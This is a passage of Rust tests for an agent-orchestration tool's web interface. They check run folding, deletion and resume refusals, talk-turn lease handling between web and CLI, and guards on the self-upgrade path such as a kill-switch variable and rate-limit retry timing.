20021    /// the builder handed it.
20022    ///
20023    /// `createRunCard` builds its elements, appends them to the card, and then
20024    /// lists them again in `row.refs`. That second list is the one the updater
20025    /// uses, and nothing connects the two - an element can be built, appended
20026    /// and rendered, and still be missing from `refs`. `superseded` was, for
20027    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20028    /// exception took `syncList` with it, and the deck showed
20029    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20030    /// line is computed before the cards, which is why the failure looked like
20031    /// a server that had lost its runs rather than a front end that had
20032    /// stopped rendering them.
20033    ///
20034    /// A `cargo test` cannot execute the front end, so this reads the two
20035    /// halves out of the source and compares them as sets. It is not a check
20036    /// on the wording of either list: adding an element, renaming one, or
20037    /// reordering them all keeps this passing, and only using one the builder
20038    /// never published fails it.
20039    #[test]
20040    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20041        let build = APP_JS
20042            .find("function createRunCard")
20043            .expect("createRunCard exists");
20044        let update = APP_JS
20045            .find("function updateRunCard")
20046            .expect("updateRunCard exists");
20047        let end = APP_JS
20048            .find("function renderRuns")
20049            .expect("renderRuns exists");
20050
20051        // The builder's published set: the object literal assigned to `refs`.
20052        let builder = &APP_JS[build..update];
20053        let open = builder.find("refs = {").expect("createRunCard sets refs");
20054        let literal = &builder[open + "refs = {".len()..];
20055        let close = literal.find('}').expect("the refs literal is closed");
20056        let published: HashSet<&str> = literal[..close]
20057            .split(',')
20058            // `name` and `name: value` both bind `name`.
20059            .filter_map(|entry| entry.split(':').next())
20060            .map(str::trim)
20061            .filter(|name| !name.is_empty())
20062            .collect();
20063        assert!(
20064            published.len() > 5,
20065            "the refs literal did not parse into names: {published:?}"
20066        );
20067
20068        // What the updaters reach for: every `r.<name>`, where `r` is the
20069        // `const r = row.refs` alias both functions open with.
20070        let mut used: Vec<&str> = Vec::new();
20071        let updaters = &APP_JS[update..end];
20072        for (at, _) in updaters.match_indices("r.") {
20073            // `r` must be the whole identifier, not the tail of another one
20074            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
20075            let before = updaters[..at].chars().next_back();
20076            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
20077                continue;
20078            }
20079            let rest = &updaters[at + 2..];
20080            let len = rest
20081                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
20082                .unwrap_or(rest.len());
20083            if len > 0 {
20084                used.push(&rest[..len]);
20085            }
20086        }
20087        assert!(
20088            used.len() > 5,
20089            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
20090        );
20091
20092        let missing: Vec<&str> = used
20093            .iter()
20094            .copied()
20095            .filter(|name| !published.contains(name))
20096            .collect();
20097        assert!(
20098            missing.is_empty(),
20099            "a run card's updater reaches for {missing:?}, which `createRunCard` \
20100             never put in `refs` - every card will throw and the list will \
20101             render empty under a count line that says otherwise. Published: \
20102             {published:?}"
20103        );
20104    }
20105
20106    #[tokio::test]
20107    async fn folding_from_the_phone_reports_what_it_removed() {
20108        let fx = Fixture::start().await;
20109        let runs = fx.runs();
20110
20111        // A run with no candidates has nothing to fold, which is a 200 with an
20112        // honest count rather than an error: the operator asked for the trees
20113        // to be gone and they are.
20114        let id = "20260901-000000-fold";
20115        write_run(&runs, id, RunStatus::Stalled);
20116        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20117        assert_eq!(res.status, 200);
20118        assert_eq!(res.json()["removed_count"], 0);
20119        assert_eq!(res.json()["run"], id);
20120        assert!(
20121            runs.join(id).exists(),
20122            "a fold keeps the run's record; only the worktrees go"
20123        );
20124    }
20125
20126    #[tokio::test]
20127    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
20128        let fx = Fixture::start().await;
20129        let runs = fx.runs();
20130        let wt = fx.home.path().join("wt").join("magi").join("dead");
20131        let id = "20260901-000000-dead";
20132        std::fs::create_dir_all(runs.join(id)).expect("run dir");
20133        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20134        std::fs::create_dir_all(&wt).expect("worktree dir");
20135
20136        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20137        assert_eq!(res.status, 200, "{}", res.body);
20138        assert!(
20139            res.json()["removed_count"].as_u64().unwrap() > 0,
20140            "the worktree this build could not read a state for still went"
20141        );
20142        assert!(
20143            !runs.join(id).exists(),
20144            "an unreadable run has no candidate list to fold selectively, so \
20145             the whole record goes - same as `magi fold` on the CLI"
20146        );
20147    }
20148
20149    #[tokio::test]
20150    async fn deleting_an_unreadable_run_removes_it_wholesale() {
20151        let fx = Fixture::start().await;
20152        let runs = fx.runs();
20153        let wt = fx.home.path().join("wt").join("magi").join("gone");
20154        let id = "20260901-000000-gone";
20155        std::fs::create_dir_all(runs.join(id)).expect("run dir");
20156        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20157        std::fs::create_dir_all(&wt).expect("worktree dir");
20158
20159        let res = fx.delete(&format!("/api/runs/{id}")).await;
20160        assert_eq!(res.status, 204, "{}", res.body);
20161        assert!(!runs.join(id).exists(), "the broken record is gone");
20162        assert!(!wt.exists(), "its worktree is gone too");
20163    }
20164
20165    #[tokio::test]
20166    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
20167        let fx = Fixture::start().await;
20168        let runs = fx.runs();
20169        let id = "20260901-000000-live";
20170        write_run(&runs, id, RunStatus::Implementing);
20171
20172        let mut beat = crate::daemon::Status::new();
20173        beat.current = vec![crate::daemon::Current {
20174            task: "20260901-000000-task".to_owned(),
20175            run: id.to_owned(),
20176        }];
20177        beat.updated_at = jiff::Timestamp::now();
20178        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20179            .expect("publish a heartbeat");
20180
20181        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20182        assert_eq!(res.status, 409);
20183        assert!(
20184            res.json()["error"]
20185                .as_str()
20186                .unwrap()
20187                .contains("live daemon"),
20188            "folding under a running agent would pull its worktree away"
20189        );
20190    }
20191
20192    #[tokio::test]
20193    async fn fold_merged_requires_a_pr_url() {
20194        let fx = Fixture::start().await;
20195        let runs = fx.runs();
20196        let id = "20260901-000000-nourl";
20197        write_run(&runs, id, RunStatus::Blocked);
20198
20199        let res = fx
20200            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
20201            .await;
20202        assert_eq!(res.status, 400, "{}", res.body);
20203
20204        let blank = fx
20205            .post(
20206                &format!("/api/runs/{id}/fold-merged"),
20207                Some(r#"{"pr_url":"   "}"#),
20208            )
20209            .await;
20210        assert_eq!(blank.status, 400, "{}", blank.body);
20211    }
20212
20213    #[tokio::test]
20214    async fn fold_merged_is_404_for_an_unknown_run() {
20215        let fx = Fixture::start().await;
20216        let res = fx
20217            .post(
20218                "/api/runs/nosuchrun/fold-merged",
20219                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20220            )
20221            .await;
20222        assert_eq!(res.status, 404, "{}", res.body);
20223    }
20224
20225    #[tokio::test]
20226    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
20227        let fx = Fixture::start().await;
20228        let runs = fx.runs();
20229        let id = "20260901-000000-livemerge";
20230        write_run(&runs, id, RunStatus::Blocked);
20231
20232        let mut beat = crate::daemon::Status::new();
20233        beat.current = vec![crate::daemon::Current {
20234            task: "20260901-000000-task".to_owned(),
20235            run: id.to_owned(),
20236        }];
20237        beat.updated_at = jiff::Timestamp::now();
20238        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20239            .expect("publish a heartbeat");
20240
20241        let res = fx
20242            .post(
20243                &format!("/api/runs/{id}/fold-merged"),
20244                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20245            )
20246            .await;
20247        assert_eq!(res.status, 409, "{}", res.body);
20248        assert!(
20249            res.json()["error"]
20250                .as_str()
20251                .unwrap()
20252                .contains("live daemon"),
20253            "correcting a run's merge underneath a running agent would race \
20254             whatever it is doing to the same `status`/`merge` fields"
20255        );
20256    }
20257
20258    /// A pull request `gh` cannot even ask about (no such remote, no such
20259    /// repository) must never be recorded as a merge on a guess - the same
20260    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
20261    /// command line, reached here through the phone route instead.
20262    #[tokio::test]
20263    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
20264        let fx = Fixture::start().await;
20265        let runs = fx.runs();
20266        let id = "20260901-000000-unconfirmed";
20267        write_run(&runs, id, RunStatus::Blocked);
20268
20269        let res = fx
20270            .post(
20271                &format!("/api/runs/{id}/fold-merged"),
20272                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20273            )
20274            .await;
20275        assert_eq!(res.status, 400, "{}", res.body);
20276        assert_eq!(
20277            read_run(&runs, id).unwrap().status,
20278            RunStatus::Blocked,
20279            "a pull request that could not be confirmed merged must leave \
20280             the run exactly where it was"
20281        );
20282    }
20283
20284    #[tokio::test]
20285    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
20286        let fx = Fixture::start().await;
20287        let runs = fx.runs();
20288
20289        // Only a finished run and a failed one. An *interrupted* run - a
20290        // parked one, or one whose daemon was killed mid-node - is the case
20291        // resuming exists for: run 4043 sat at `reviewing` with the deck
20292        // saying it could not be resumed, which was the one state where
20293        // resuming was the only sensible answer.
20294        for (status, word) in [
20295            (RunStatus::Merged, "merged"),
20296            (RunStatus::Ready, "ready"),
20297            (RunStatus::Failed, "failed"),
20298        ] {
20299            let id = format!("20260901-000000-{}", &word[..4]);
20300            write_run(&runs, &id, status);
20301            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
20302            assert_eq!(res.status, 409, "{word} must not be resumable");
20303            let err = res.json()["error"].as_str().unwrap().to_owned();
20304            assert!(err.contains(word), "the refusal names the status: {err}");
20305        }
20306
20307        // And an interrupted run is accepted: 202, with the resume running in
20308        // the background. `Runner::resume` fails immediately here - the
20309        // fixture's run points at a repository that does not exist - which is
20310        // the point: the handler must not wait for it to find out.
20311        let mid = "20260901-000000-midf";
20312        write_run(&runs, mid, RunStatus::Reviewing);
20313        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
20314        assert_eq!(res.status, 202, "an interrupted run is resumable");
20315    }
20316
20317    #[tokio::test]
20318    async fn resume_is_refused_while_the_loop_is_running() {
20319        let fx = Fixture::start().await;
20320        let runs = fx.runs();
20321        let stalled = "20260901-000000-stal";
20322        write_run(&runs, stalled, RunStatus::Stalled);
20323
20324        // The loop is busy with a *different* run, and that is still a
20325        // refusal: a manual resume must never race whatever the loop itself
20326        // is already driving, whether that is one run or several.
20327        let mut beat = crate::daemon::Status::new();
20328        beat.current = vec![crate::daemon::Current {
20329            task: "20260901-000000-task".to_owned(),
20330            run: "20260901-000000-othr".to_owned(),
20331        }];
20332        beat.updated_at = jiff::Timestamp::now();
20333        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20334            .expect("publish a heartbeat");
20335
20336        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
20337        assert_eq!(res.status, 409);
20338        let err = res.json()["error"].as_str().unwrap().to_owned();
20339        assert!(err.contains("othr"), "it names what the loop is on: {err}");
20340        assert!(err.contains("stop it first"), "{err}");
20341    }
20342
20343    #[test]
20344    fn a_run_cannot_be_resumed_twice_at_once() {
20345        let home = TempDir::new().expect("temp home");
20346        let ui = Ui::new(
20347            Queue::at(home.path().join("queue")),
20348            Questions::at(home.path().join("questions")),
20349            Talks::at(home.path().join("talks")),
20350            home.path().join("runs"),
20351            home.path().to_path_buf(),
20352            PathBuf::from("/repo"),
20353        )
20354        .with_worktrees_root(home.path().join("wt"));
20355        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
20356        let again = ui.begin_resume("20260901-000000-once");
20357        assert!(again.is_err(), "a second tap must not start a second graph");
20358        drop(first);
20359        assert!(
20360            ui.begin_resume("20260901-000000-once").is_ok(),
20361            "and the claim is released when the attempt ends"
20362        );
20363    }
20364
20365    #[test]
20366    fn talk_thinking_tracks_only_its_held_turn_claim() {
20367        let home = TempDir::new().expect("temp home");
20368        let ui = Ui::new(
20369            Queue::at(home.path().join("queue")),
20370            Questions::at(home.path().join("questions")),
20371            Talks::at(home.path().join("talks")),
20372            home.path().join("runs"),
20373            home.path().to_path_buf(),
20374            PathBuf::from("/repo"),
20375        )
20376        .with_worktrees_root(home.path().join("wt"));
20377        let id = "20260901-000000-once";
20378
20379        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
20380        let turn = ui.begin_talk_turn(id).expect("claim turn");
20381        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
20382        assert!(
20383            !ui.is_thinking("20260901-000000-other"),
20384            "one talk's turn does not make another talk busy"
20385        );
20386        drop(turn);
20387        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
20388    }
20389
20390    #[test]
20391    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
20392        let home = TempDir::new().expect("temp home");
20393        let talks = Talks::at(home.path().join("talks"));
20394        let ui = Ui::new(
20395            Queue::at(home.path().join("queue")),
20396            Questions::at(home.path().join("questions")),
20397            talks.clone(),
20398            home.path().join("runs"),
20399            home.path().to_path_buf(),
20400            PathBuf::from("/repo"),
20401        )
20402        .with_worktrees_root(home.path().join("wt"));
20403        let id = "20260901-000000-cross";
20404
20405        let other = Talks::at(home.path().join("talks"))
20406            .claim_turn(id)
20407            .expect("claim")
20408            .expect("the other process wins");
20409        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
20410        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
20411        assert!(
20412            matches!(
20413                ui.begin_talk_turn_unless_pending(id).expect("start"),
20414                TalkTurnStart::Foreign
20415            ),
20416            "a foreign holder is refused, not queued behind"
20417        );
20418        assert!(
20419            !ui.talk_turns.lock().unwrap().live.contains(id),
20420            "a refused claim leaves no in-process entry behind"
20421        );
20422        drop(other);
20423        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
20424        assert!(talks.turn_held(id), "the web turn holds the lease");
20425        drop(turn);
20426        assert!(
20427            !talks.turn_held(id),
20428            "dropping the guard releases the lease"
20429        );
20430    }
20431
20432    fn consult_question(ui: &Ui) -> Question {
20433        let mut q = Question::new(
20434            "20260901-000000-consult".to_owned(),
20435            "implement".to_owned(),
20436            "impl-A".to_owned(),
20437            "Which backend?".to_owned(),
20438            String::new(),
20439            vec!["SQLite".to_owned(), "Redis".to_owned()],
20440        );
20441        ui.questions.put(&mut q).expect("question");
20442        q
20443    }
20444
20445    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
20446        (
20447            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
20448            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
20449        )
20450    }
20451
20452    #[tokio::test]
20453    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
20454        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20455        let q = consult_question(&ui);
20456        let talk = ui.talks.get(&id).expect("talk");
20457        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
20458        let before = consult_snapshot(&ui, &q, &id);
20459        let cli_talks = Talks::at(ui.home.join("talks"));
20460        assert_eq!(
20461            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20462                .await
20463                .expect("CLI starter"),
20464            crate::consult::Started::Busy
20465        );
20466        assert_eq!(consult_snapshot(&ui, &q, &id), before);
20467        assert!(ui.is_thinking(&id));
20468        drop(guard);
20469        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20470    }
20471
20472    #[tokio::test]
20473    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20474        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20475        let q = consult_question(&ui);
20476        let talk = ui.talks.get(&id).expect("talk");
20477        let started = tmp.path().join("started");
20478        let release = tmp.path().join("release");
20479        let script = tmp.path().join("consult-agent.sh");
20480        std::fs::write(
20481            &script,
20482            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
20483        )
20484        .expect("script");
20485        let mut cfg = stub_config();
20486        cfg.agents[0].id = "mock".to_owned();
20487        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20488        cfg.agents[0].env = std::collections::BTreeMap::from([
20489            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20490            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20491        ]);
20492        let questions = ui.questions.clone();
20493        let cli_talks = Talks::at(ui.home.join("talks"));
20494        let cli_q = q.clone();
20495        let turn = tokio::spawn(async move {
20496            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20497        });
20498        let ready = tokio::time::timeout(Duration::from_secs(30), async {
20499            while !started.exists() {
20500                tokio::time::sleep(Duration::from_millis(10)).await;
20501            }
20502        })
20503        .await;
20504        // Always release and join the agent, even if readiness or the web
20505        // request fails, so a failed assertion cannot leave a turn behind.
20506        let refusal = if ready.is_ok() {
20507            let before = consult_snapshot(&ui, &q, &id);
20508            let result = talk_say(
20509                State(Arc::clone(&ui)),
20510                Path(id.clone()),
20511                Ok(Json(NewTalkTurn {
20512                    reply_to: None,
20513                    text: "another message".to_owned(),
20514                    attachments: Vec::new(),
20515                })),
20516            )
20517            .await;
20518            Some((result, before, consult_snapshot(&ui, &q, &id)))
20519        } else {
20520            None
20521        };
20522        std::fs::write(&release, "").expect("release agent");
20523        let done = turn.await.expect("join CLI turn");
20524        ready.expect("agent started before deadline");
20525        let (result, before, after) = refusal.expect("web request");
20526        let error = result.expect_err("web must refuse the CLI's turn");
20527        assert_eq!(error.status, StatusCode::CONFLICT);
20528        assert!(error.message.contains("a turn is already running"));
20529        assert_eq!(
20530            after, before,
20531            "refusal preserves question, draft and history"
20532        );
20533        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20534        let guard = ui
20535            .begin_talk_turn(&id)
20536            .expect("web claim")
20537            .expect("free again");
20538        drop(guard);
20539    }
20540
20541    #[test]
20542    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20543        let home = TempDir::new().expect("temp home");
20544        let talks = Talks::at(home.path().join("talks"));
20545        let ui = Ui::new(
20546            Queue::at(home.path().join("queue")),
20547            Questions::at(home.path().join("questions")),
20548            talks.clone(),
20549            home.path().join("runs"),
20550            home.path().to_path_buf(),
20551            PathBuf::from("/repo"),
20552        )
20553        .with_worktrees_root(home.path().join("wt"));
20554        let id = "20260901-000000-order";
20555        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20556        // Hold the slot mutex so the drop can finish the lease but not the slot.
20557        let slots = ui.talk_turns.lock().unwrap();
20558        let dropper = std::thread::spawn(move || drop(turn));
20559        let start = std::time::Instant::now();
20560        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20561            std::thread::sleep(Duration::from_millis(5));
20562        }
20563        assert!(!talks.turn_held(id), "the lease is released first");
20564        assert!(slots.live.contains(id), "the slot is still held meanwhile");
20565        drop(slots);
20566        dropper.join().expect("join");
20567        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20568    }
20569
20570    #[tokio::test]
20571    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20572        let fx = Fixture::start().await;
20573        // Somebody else's `magi serve` owns the queue. Replacing this binary
20574        // would leave that process running an old one against the same
20575        // claims, which is worse than refusing.
20576        let mut beat = crate::daemon::Status::new();
20577        beat.pid = 4321;
20578        beat.updated_at = jiff::Timestamp::now();
20579        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20580            .expect("publish a heartbeat");
20581
20582        let res = fx.post("/api/upgrade", None).await;
20583        assert_eq!(res.status, 409);
20584        let err = res.json()["error"].as_str().unwrap().to_owned();
20585        assert!(err.contains("4321"), "the refusal names the owner: {err}");
20586        assert!(err.contains("old one against the same queue"), "{err}");
20587    }
20588
20589    /// [`should_spawn_recheck`] must refuse for the same two reasons
20590    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
20591    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
20592    /// Purely a predicate over config and the environment - no network, no
20593    /// disk, no runtime - so unlike the fixture-based tests around it this
20594    /// one needs neither.
20595    #[test]
20596    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20597        assert!(!should_spawn_recheck(&crate::config::Update {
20598            mode: UpdateMode::Off,
20599            interval: None,
20600        }));
20601
20602        // SAFETY: single-threaded as far as this variable goes, the same
20603        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20604        unsafe {
20605            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20606        }
20607        let killed = should_spawn_recheck(&crate::config::Update {
20608            mode: UpdateMode::Notify,
20609            interval: None,
20610        });
20611        unsafe {
20612            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20613        }
20614        assert!(
20615            !killed,
20616            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20617             one-time startup check"
20618        );
20619
20620        assert!(should_spawn_recheck(&crate::config::Update {
20621            mode: UpdateMode::Notify,
20622            interval: None,
20623        }));
20624    }
20625
20626    /// [`recheck_poll_period`] must track a configured `[update] interval`
20627    /// shorter than its own default ceiling - a fixed sleep here would leave
20628    /// an operator's short interval waiting on the next wake-up instead of on
20629    /// `should_check`, which is the same bug this whole task exists to fix,
20630    /// just one level down.
20631    #[test]
20632    fn recheck_poll_period_tracks_a_short_configured_interval() {
20633        let short = crate::config::Update {
20634            mode: UpdateMode::Notify,
20635            interval: Some("1m".to_owned()),
20636        };
20637        let period = recheck_poll_period(&short);
20638        assert!(
20639            period <= Duration::from_secs(30),
20640            "a one-minute interval must wake the task far sooner than the \
20641             default ceiling, or the deck would not notice within the \
20642             interval the operator configured: got {period:?}"
20643        );
20644
20645        let default = crate::config::Update {
20646            mode: UpdateMode::Notify,
20647            interval: None,
20648        };
20649        assert_eq!(
20650            recheck_poll_period(&default),
20651            UPDATE_RECHECK_POLL_MAX,
20652            "the default day-long interval should poll at the (capped) \
20653             ceiling rather than needlessly often"
20654        );
20655    }
20656
20657    /// [`update_recheck_due`] must not repeat a check made moments ago, the
20658    /// same throttle `updater::Checker::should_check` already gives the
20659    /// CLI's notify mode. Built over an explicit state file via
20660    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
20661    /// write the operator's real `last_update_check.json` - and therefore
20662    /// cannot flake on whatever that file happens to say on the machine
20663    /// running the test.
20664    #[test]
20665    fn recheck_skips_the_network_before_the_interval_elapses() {
20666        let dir = TempDir::new().expect("temp dir");
20667        let path = dir.path().join("state.json");
20668        let state = kaishin::UpdateCheckState {
20669            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20670            last_known_latest: None,
20671            last_known_url: None,
20672        };
20673        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20674
20675        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20676        assert!(
20677            !update_recheck_due(&checker, None),
20678            "a check made moments ago must not be repeated before the \
20679             configured interval elapses"
20680        );
20681    }
20682
20683    /// An upgrade this deck already started must not be raced by a recheck
20684    /// that discovers a newer release mid-install - regardless of what
20685    /// `should_check` says, which is why the state file here is missing
20686    /// entirely: read alone, that alone would answer "never checked, go
20687    /// ahead".
20688    #[test]
20689    fn recheck_defers_to_an_upgrade_already_in_flight() {
20690        let dir = TempDir::new().expect("temp dir");
20691        let path = dir.path().join("state.json");
20692        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20693        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20694
20695        assert!(
20696            !update_recheck_due(&checker, Some(&progress)),
20697            "a recheck must not run while an upgrade this deck started is \
20698             still moving"
20699        );
20700    }
20701
20702    #[tokio::test]
20703    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20704        // The same env var the background check honours (`disabled_by_env`)
20705        // must also stop a button press before it ever calls
20706        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
20707        // means "never contact GitHub from this process", and a tap on the
20708        // upgrade button must not override that any more than a broken
20709        // `magi.toml` may. Left unset, this fixture's default config would
20710        // otherwise reach a real, unauthenticated GitHub call.
20711        //
20712        // SAFETY: single-threaded as far as this variable goes - nothing else
20713        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
20714        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20715        unsafe {
20716            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20717        }
20718        let fx = Fixture::start().await;
20719        let res = fx.post("/api/upgrade", None).await;
20720        unsafe {
20721            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20722        }
20723        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20724        let body = res.json();
20725        assert!(body["to"].is_null(), "there was no release to move to");
20726        assert!(body["parked"].is_null(), "and nothing was parked");
20727        assert!(
20728            body["detail"]
20729                .as_str()
20730                .unwrap()
20731                .contains("disabled by MAGI_NO_AUTOUPDATE"),
20732            "{body:?}"
20733        );
20734    }
20735
20736    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20737        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20738        p.stage = stage;
20739        p
20740    }
20741
20742    #[test]
20743    fn busy_stages_match_the_ui_set() {
20744        use crate::updater::Stage;
20745        assert!(APP_JS.contains(
20746            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20747        ));
20748        for s in [
20749            Stage::Downloading,
20750            Stage::Replaced,
20751            Stage::Parking,
20752            Stage::Restarting,
20753        ] {
20754            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20755        }
20756        for s in [Stage::Done, Stage::Failed] {
20757            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20758        }
20759        assert!(upgrade_in_motion(None).is_none());
20760    }
20761
20762    #[tokio::test]
20763    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20764        use crate::updater::Stage;
20765        for stage in [
20766            Stage::Downloading,
20767            Stage::Replaced,
20768            Stage::Parking,
20769            Stage::Restarting,
20770        ] {
20771            let fx = Fixture::start().await;
20772            let seeded = seeded_progress(stage);
20773            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20774            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20775                .expect("read");
20776
20777            let res = fx.post("/api/upgrade", None).await;
20778            assert_eq!(res.status, 409, "{stage:?}");
20779            let err = res.json()["error"].as_str().unwrap().to_owned();
20780            assert!(err.contains("already in progress"), "{err}");
20781            assert!(err.contains(stage.as_str()), "{err}");
20782
20783            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20784                .expect("read");
20785            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20786            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20787                .unwrap_or_default();
20788            assert!(!log.contains("signalling HANDOVER"), "{log}");
20789        }
20790    }
20791
20792    #[test]
20793    fn upgrade_retry_timing_only_parses_known_diagnostics() {
20794        assert_eq!(
20795            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20796            Some(3723)
20797        );
20798        assert_eq!(
20799            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20800            Some(60)
20801        );
20802        assert_eq!(
20803            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20804            Some(0)
20805        );
20806        for message in [
20807            "permission denied",
20808            "GitHub API rate limit exceeded",
20809            "GitHub rate limit (resets in unknown)",
20810            "GitHub rate limit (resets in 18446744073709551615d)",
20811        ] {
20812            assert_eq!(upgrade_retry_after(message), None, "{message}");
20813        }
20814    }
20815
20816    #[tokio::test]
20817    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20818        let home = TempDir::new().unwrap();
20819        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20820        ui.start_loop(None).unwrap();
20821        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20822        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20823        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20824        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20825        let response = finish_upgrade_request(&ui, result);
20826        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20827        assert_eq!(response.headers()["retry-after"], "120");
20828        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20829            .await
20830            .unwrap();
20831        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20832        assert!(body["error"].as_str().unwrap().contains(reason));
20833        assert_eq!(body["retry_after_secs"], 120);
20834        assert!(body["retry_at"].as_u64().is_some());
20835        for _ in 0..2 {
20836            let view = health(State(ui.clone())).await.unwrap().0;
20837            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20838            assert_eq!(failure, body);
20839        }
20840        assert_eq!(
20841            std::fs::read(updater::progress_path(home.path())).unwrap(),
20842            before
20843        );
20844        assert!(!ui.lock_loop().resume_after_handover);
20845        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20846        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20847        // A conflicting request must not erase the actionable earlier failure.
20848        let gate = ui.upgrade_gate.lock().await;
20849        assert_eq!(
